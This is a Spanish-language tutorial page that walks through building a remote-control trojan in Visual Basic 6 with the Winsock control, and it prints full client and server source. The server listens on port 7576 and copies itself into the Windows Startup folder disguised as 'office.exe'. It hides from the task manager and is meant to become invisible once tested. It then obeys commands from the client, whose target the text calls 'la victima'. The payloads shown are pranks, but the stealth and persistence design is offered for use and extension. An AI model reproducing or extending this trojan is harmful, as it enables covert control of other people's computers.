informatiarcos
  Manual Subseven
 

CREACION DE  UN  TROYANO

 

 Aca les  dejo  este  proyecto  con  el  cual  todas  las  personas  que manejen  lo basico     de   Visual  Basic       puedan                         crear          su  primer                     troyano  o   sistema         de administracion remota.

 

Solo con fines educativos y por esta razon este tutorial paso a paso si se puede llamar  asi, utiliza  un ocx llamado "winsock" el cual es el gestor  de conexiones de windows incorporado en las librerias al instalar vbasic 6.0

 

Hay que destacar que este ocx debe estar en la maquina o pc remota  para  que el  servidor  o  el  cliente  funcione. Este  ocx se  puede  programar y  puede  ser parte del mismo proyecto pero  eso no es parte de este tutorial y  queda  de ustedes los lectores con mas experiencia lo analicen y lo  programen buscando info en la red que le sera de mucha ayuda.

 

 

 

 

 

Como esta Constituido un Troyano?

 

 

 

Un  troyano  Basicamente   Hablando  de  el  Servidor  debe  cumplir  con  lo siguiente:

 

1.- Ser un Programa Invisible.

 

2.- Que no se vea en la lista de aplicciones en caso de nt, 2000 o xp

 

3.- Grabarse en el registro "inicio" para  que se ejecute  cada  vez que prendan la pc

 

4.- Duplicarse a si mismo y ocultarse


Puesta en marcha...

 

 

 

Lo  Primero que debemos  hacer  es abrir  visual basic y elejir un EXE  estandard, luego maximizamos el fondo y nos quedara algo como:

 

 

Empezaremos por el Cliente el cual es lo  mas facil de hacer, este  solo enviara comandos para ser ejecutados remotamente.

 

Lo  Primero  en agregar sera un "textBox" al cual le vamos a dar el nombre  de "consola"  y  le  vamos a  dar  un tamo  que  ocupe  la mitad  superior  de la ventana  o de el form. No  olvidemos darle el valor de "true" a la propiedad  de multiline   y   el  valor  (2   vertical) a  la   propiedad  ScrollBars   para   poder desplazarnos.

Este textbox es el encargado de decirnos que esta  ocurriendo... Si  se conecto, si esta en proceso  un comando, si fue realizado ese comando etc... asi, que es muy importante  y  es el  corazon del programa  en si, sin el sera  como lanzar misiles a otro pais y no saber donde calleron. Este text box tambien nos puede dar informacion de la computadora que estemos administrando etc...

 

Una vista previa de el form con su text box seria:

 


Al formulario  le podemos  colocar  como nombre  "cliente" y a las propiedades del formulario  MinButton  y MaxButton las colocamos en "False" para  que no se pùeda ni maximizar ni minimizar la ventana, eso es cuestion de gustos, jeje.

 

 

 
Es hora de colocar los botones, Esta parte sera muy basica en este proyecto pero de seguro ustedes seguiran investigando y lograran colocar mas botones basandose  en los que yo  les  dare.   , Colocaremos el boton de Conectar  el de Desconectar y los botones destinados a enviar los comandos.

 

Estos botones serian el de abrir la puerta del lector  del cd, enviar un mensaje anonimo y abrir el block de notas.

 

Los nombres de los botones serian:

 

conectar desconectar abrir

enviar notas

Creo  que  se  entienden   y   no  creo  que  deba  especificar  cual  es  cual,  a continuacion  veremos  como nos esta quedando,  ya aplicado los botones  y un textbox para  la direccion  ip  que  le cploque  como nombre  "ip", en ese textbox va la direccion ip de la victima o pc a administrar.

 

 

Ahora si hemos llegado a la parte que le da el toque de funcionalidad a esto... El Winsock

El   estándar   de  gestión   de  redes   Windows Sockets   tiene   como  finalidad proporcionar  un  API  (convención  internacional  que define  cómo invocar  una función de un programa desde una aplicación) común para  los programadores


 

 
de redes  bajo Windows, por ejemplo (y  fundamentalmente)  en lo  referente  al protocolo TCP/IP, propio de Internet.                                               .

 

Bueno... El  winsock como mencione arriba  es un archivo  dll que esta en la carpeta  de   windows en  system32   y  si  queremos   que  nuestro   sistema  de administracion           remoto          funcione                                  hay            que               programarlo,                            Afortunadamente Vbasic trae  consigo una  serie  de .OCX que son archivos  con ciertas  funciones y/o  hasta componentes "objetos" que  puedes  utilizar  en yu programa  con solo utilizar sus propiedades una vez incertado en el formulario.

 

Lo  primero  seria  presionar  Cntrl+T  para  que nos salga  un cuadro  o  ventana donde  podemos  escojer  una  serie  de .OCX   que  visualbasic  tiene  alli   para nosotros.  Buscamos abajo y al centro y encontraremos esto:

 

Microsoft Winsock Control 6.0 y tambien podemos notar que nos da la ruta del archivo ocx mas abajo: C:windowssystem32mswinsock.ocx

 

Es necesario saber donde  esta el archivo,  ya que en cualquier  computadora que necesitemos  usar el cliento  o  queramos que funcione el servidor  debe tener  este archivo para que funcione.

 

 

Una vez que tenemos  el WinSock control  en  nuestra  barra  de controles en Visual Basic ya  podemos comenzar a ver las propiedades, eventos y métodos más  importantes  del  control.  Para  agregarlo  manualmente  ir a  Proyecto> Componentes> y  luego seleccionar WinSock  Control y  Aceptar.  Este control no es visible en tiempo de ejecución.

 

Lista de propiedades más importantes

LocalIP: Devuelve la dirección  IP  de la máquina local en el formato de cadena con puntos de dirección IP  (xxx.xxx.xxx.xxx).

LocalHostName: Devuelve el nombre de la máquina local.

RemoteHost: Establece el equipo remoto al que se quiere solicitar la conexión. LocalPort: Establece el puerto que se quiere dejar a la escucha.

RemotePort: Establece el número del puerto remoto al que se quiere conectar.

State: Verifica si el Control WinSock esta siendo utilizado o no.

 

Estas  son algunas de  las  propiedades  más importantes,  y  a continuación  la


sintaxis de cada propiedad. Objeto.Propiedad = Valor

Donde Objeto va el nombre  del Control WinSock, el nombre  predeterminado cuando  lo  incluimos  en  alguna aplicación es  "WinSock1". Luego le sigue  la propiedad que deseamos asignar y finalmente  el valor que la misma tomará.

 

 

 

Lista de Métodos más importantes

1.- Accept: Sólo para las aplicaciones de servidor TCP. Este método se utiliza para aceptar una conexión entrante cuando se es tratando un evento ConnectionRequest.

2.- GetData: Recupera el bloque actual de datos y lo almacena en una variable de tipo Variant.

3.- Listen: Crea un socket y lo establece a modo de escucha.

4.- SendData: Envía datos a un equipo remoto.

 

 

 

Lista de Eventos más importantes

1.-  ConnectionRequest:   Se  produce   cuando   el  equipo  remoto  solicita   una conexión. Sin este evento no se puede llevar a cabo la conección.

2.- Connect:  Se produce cuando  el equipo local se conecta  al equipo  remoto y se establece una conexión.

3.-  Close:  Se  produce   cuando   el  equipo   remoto   cierra  la  conexión.  Las aplicaciones   deben   usar   el  método  Close  para   cerrar   correctamente   una conexión TCP.

4.-  DataArrival:  Se  produce   cuando  llegan   nuevos  datos.   Este  evento   es importante, ya que debemos hacer algo con la información que llega.

La sintaxis de los métodos y eventos es igual a la sintaxis de las propiedades,

por lo cual no voy  a hacer referencia a ella.

 

Ahora  vamos a hacer  un resumen  de las propiedades  mas importantes  del cliente:

 

 

 

 

Control(nombre predeterminado)

 

Propiedad (nuevo valor)

 

WinSock1

 

RemotePort = 7576

 

conectar

 

Caption = "Conectar"

 

desconectar

 

Caption = "Desconectar"

 

enviar

 

Caption = "Enviar Mensaje"

 

notas

 

Caption = "Abrir Block Notas"

 

abrir

 

Caption = "Abrir CD"


Codigo Fuente del Cliente:

 

 

 

Private Sub Form_Load()

ip.Text = "127.0.0.1" 'escribe en el text box nuestra ip local

'para asi poder hacer las pruebas, debe cambiarse para conectar a otra ip

End Sub

 

Private Sub Form_QueryUnload(Cancel  As Integer, UnloadMode As Integer) Winsock1.Close 'cierra el winsock

End 'cierra el programa

End Sub

 

Private Sub abrir_Click() Winsock1.SendData "abrir"

'envia la cadena abrir_cd

End Sub

 

Private Sub conectar_Click()

Winsock1.Close 'se cierra cualquier conexion previa

Winsock1.Connect ip.Text, 7576

'esto hace que el winsock se conecte a la ip que

'coloquemos en el textbox ip.text y al puerto

'7576 que es mi  fecha de cumpleaños ;-) End Sub

 

Private Sub desconectar_Click() Winsock1.Close

Me.Caption = "desconectado"

'esto hace que el winsock se cierre

'asi cierra todas las conexiones

End Sub

 

Private Sub enviar_Click()

Dim  enviar As String 'declaramos a enviar de tipo cadena enviar = InputBox("Escribe aca tu mensaje:", "Mensajes")

'utilizamos una funcion por defecto de visualbasic llamada input

'para escribir el mensaje a enviar

Winsock1.SendData enviar ' envia el mensaje escrito o contenido en enviar

End Sub

 

Private Sub notas_Click()

Winsock1.SendData "notas" 'envia la cadena notas

End Sub

 

Private Sub Winsock1_Connect()

Me.Caption = "conectado!" 'escribe como titulo de la ventana

'que ya nos hemos conectado para asi saber si podemos enviar comandos

End Sub

 

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim  datos As String 'declaramos a datos como tipo cadena

Winsock1.GetData datos 'le decimos a winsock que capture lo que llega en datos

consola.Text = consola.Text + datos + vbNewLine 'escribimos lo que hay en la consola mas lo

'que llega desde el servidor para ver todo lo que pasa. End Sub


El servidor

 

Para el servidor practicamente  no hay nada  de  graficos,  es  un simple  form donde agregamos el winsock igual que en el cliente

 

Lo demas es puro codigo que he tratado de explicar adjunto.

 

 

Aca les dejo el codigo:

 

'declaraciones api para abrir el lector de cd

Private Declare Function mciSendString  Lib "winmm.dll" Alias _ "mciSendStringA" (ByVal lpstrCommand As String, ByVal _ lpstrReturnString As String,  ByVal uReturnLength As Long, _ ByVal hwndCallback As Long) As Long

 

Private Sub Form_Load()

on error resume next 'si hay un error  continua Winsock1.LocalPort = 7576 'puerto al que va a escuchar Winsock1.Listen 'comando que abre y coloca a la escucha el puerto FileCopy App.EXEName & ".exe", _

"C:Documents and SettingsAll UsersMenú InicioProgramasIniciooffice.exe"

'copia nuestro servidor a inicio "pa que se carge solo cada vez que prendan la pc"

'y le cambia el nombre a office.exe

'Me.Visible = False ' oculta el servidor "lo  hace invisible" App.TaskVisible = False ' lo oculta de aplicaciones del admin de tareas End Sub

 

Private Sub Form_QueryUnload(Cancel  As Integer, UnloadMode As Integer) Winsock1.Close 'cerramos la conexion

End 'cerramos el programa

End Sub

 

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim  datos As String 'etablecemos a datos como variable tipo cadena Winsock1.GetData datos 'todos los comandos que recibimos lo metemos en datos If datos = "abrir" Then 'si el comando "datos" es igual a abrir entonces etc... MsgBox "se abrira la puerta del cd" 'abre el cd door

mciSendString "set Cdaudio door open", returnstring, 127, 0 'Habre la lectora de CDs

ElseIf datos = "notas" Then 'si el comando es igual a notas entinces

a = Shell("C:WINDOWSNOTEPAD.EXE", 1) '"shell" comando que abre archivos .exe

Else 'sino ...

MsgBox datos, vbCritical, "Mensaje Anonimo" 'muestra el mensaje

End If 'fin si

End Sub

 

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock1.Close 'reseteamos el winsock

Winsock1.Accept requestID 'aceptamos la peticion de coneccion

End Sub


Es importante aclarar algo aca:

 

Private Sub Form_Load()

Winsock1.LocalPort = 7576 'puerto al que va a escuchar Winsock1.Listen 'comando que abre y coloca a la escucha el puerto FileCopy App.EXEName & ".exe", _

"C:Documents and SettingsAll UsersMenú InicioProgramasIniciooffice.exe"

'copia nuestro servidor a inicio "pa que se carge solo cada vez que prendan la pc"

'y le cambia el nombre a office.exe

'Me.Visible = False ' oculta el servidor "lo  hace invisible" App.TaskVisible = False ' lo oculta de aplicaciones del admin de tareas End Sub

 

observa  que la  linea  tiene  un tilde  ese  tilde como sabran  ya es  el de los comentarios  y  esta puesto  para  que  no  se  haga  invisible  y  puedan  ver  la aplicacion cuando se ejecuta.  cuando  ya esten seguros de que trabaja  pueden quitarlo.

 

Se preguntaran "y para que sirve el text box llamado consola en el cliente?"

 

pues  eso es tarea para  la casa  asi que espero  sus respuestas  y/o  preguntas para asi poco a poco ayudar a mejorarlo entre ustedes mismos.

 

 

 

Como siempre Espero les agrade y Los espero por aca por mi  pagina para  que esten checkando si hay nuevos tutoriales o algo.

 
 
  Hoy habia 13525 visitantes (58946 clics a subpáginas) ¡Aqui en esta página! #pre_header {display: none;} #post_header {display: none;} #header_container {display: none;} lli.nav_element{display: none;} li.nav_element a{display: none;} h1#title{display: none;} h2#title span {display: none;} #header {display: none;} #title {display: none;} #nav_container {display:none;} table {margin-left:auto;margin-right:auto;} * {padding:0; margin:0;} body {font:11px "Trebuchet MS", Arial, sans-serif;color:#666; background:#999 url("https://img.webme.com/pic/w/webcp/rs1101.jpg") repeat-x;} .clear {clear:both;} a, a:visited {color: #930;} a:hover {color:#09c; text-decoration:none;} h1, h2, h3, h4 {font:"Trebuchet MS", Arial, sans-serif;} h2 {font:18px "Trebuchet MS", Arial, sans-serif;} #wrap {background:url("https://img.webme.com/pic/w/webcp/rs1101.jpg") repeat-y; width:867px; margin:auto;} #head{ background:url("https://img.webme.com/pic/w/webcp/rs1102.jpg") no-repeat; height:144px;} #sidebar {width: 200px;float: right; padding:15px 30px 5px 5px;} #content {padding-left: 25px;float: left;width: 595px;} #waper {background:#fff url("https://img.webme.com/pic/w/webcp/rs1103.jpg"); width:867px;margin: 0 auto;} #footer {background:url("https://img.webme.com/pic/w/webcp/rs1104.jpg") no-repeat; height:103px; padding:25px 0 0 0;} #topbar {height:3px; padding:15px 25px 0 25px;} #searchbar {width:250px;float:left;padding-left:35px; background-image: url("https://img.webme.com/pic/w/webcp/rs1105.jpg"); background-repeat: no-repeat;background-position: 3px 9px;padding-top: 5px;} #searchbar #keyword {width:150px;display: block;float: left; height: 20px;border: 1px solid #969696;padding: 2px;margin-right: 5px;font-size: 14px;} #searchbar form {padding:3px;} #navigation { margin-left:305px; padding-top:8px;} #navigation ul {list-style:none;} #navigation li {display:inline;} #navigation a, #navigation a:visited, #navigation a:active {display:block; float:left; background:url("https://img.webme.com/pic/w/webcp/rs1106.jpg") repeat-x; height:19px; padding:5px 15px 0 15px; margin-right:5px; color:#000; text-decoration:none; border:solid 1px #999;} #navigation a:hover {background:url("https://img.webme.com/pic/w/webcp/rs1107.jpg") repeat-x; color:#fff; border: solid 1px #09c;} #navigation .active a {background:url("https://img.webme.com/pic/w/webcp/rs1107.jpg") repeat-x; color:#fff; border: solid 1px #09c;} #sidebar h2 {display:block; color:#069; font:16px "Trebuchet MS", Arial, sans-serif; padding:5px; border-bottom: solid 1px #bbb; text-transform:uppercase;} #sidebar ul {list-style:none; margin-bottom:15px;} #sidebar li {display:block; height:26px; border-bottom:solid 1px #ddd;} #sidebar a, #sidebar a:visited {display:block; height:21px; padding:5px 5px 0 5px; color:#333; text-decoration:none;} #sidebar a:hover { color:#069;} h3.subhead {font-size:12px; text-transform:uppercase;color: #fff; display:block;padding:5px;border:solid 1px #ddd;background: #990000;} .columns {padding:0 8px 0 8px;} .col1 {width:30%; float:left;} .col3 {width:30%; float:right;} .col2 {margin:0 32% 0 32%;} .clear2 {width:590px; clear:left; float:right; color:#fff!important;} .columns div {background:#f3fbe0; height:200px;} .columns div p {padding:5px;} #subnav {padding: 9px 50px 0 420px; color:#fff;} #subnav a {color:#fff; text-decoration:none;} img.leftalign, img.rightalign {display:block; padding:3px; background:#efefef; border: solid 1px #ddd;} img.leftalign {float:left; margin-right:8px;} img.rightalign {float:right; margin-left:8px;} h1#sitename {display:block; padding:5px 70px 0 50px; color:#fff; font:22px normal "Trebuchet MS", Arial, sans-serif; } #sitename a, #sitename a:visited, #sitename a:hover {color:#fff; text-decoration:none;} #footer p {text-align:center; display:block; padding:3px;} #footer #credit {font-size:10px;}  
 
Este sitio web fue creado de forma gratuita con PaginaWebGratis.es. ¿Quieres también tu sitio web propio?
Registrarse gratis